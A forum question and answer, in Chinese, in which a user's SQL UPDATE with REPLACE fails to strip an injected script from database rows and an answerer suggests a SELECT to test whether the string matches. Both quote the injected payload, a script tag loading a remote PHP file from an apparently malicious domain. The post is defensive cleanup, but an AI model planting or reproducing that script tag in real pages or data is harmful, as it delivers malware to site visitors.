我有这个SQL查询尝试从我的数据库中删除一些sql注入脚本。当我执行它时它运行正常并告诉我所有行都受到影响,但我没有看到任何变化。我检查了表名和列名,我已经将varchar值更改为列设置的值,但仍然没有。
我直接从数据库中复制了注入的脚本
UPDATE table_name
SET column_name = REPLACE(CAST(column_name AS VARCHAR(max)), '"></title><script src="http://www1.mainglobilisi.com/sl.php"></script><!--', '')
有人可以解释为什么脚本运行正常但没有对数据库进行更新。
答案 0 :(得分:0)
REPLACE
函数可能找不到您要搜索的字符串。
尝试执行选择以查看是否有任何行:
select
column_name
from
table_name
where
CAST(column_name AS VARCHAR(max)) like '%"></title><script src="http://www1[dot]mainglobilisi[dot]com/sl.php"></script><!--%'
(我对网站进行了混淆,使其恶意)。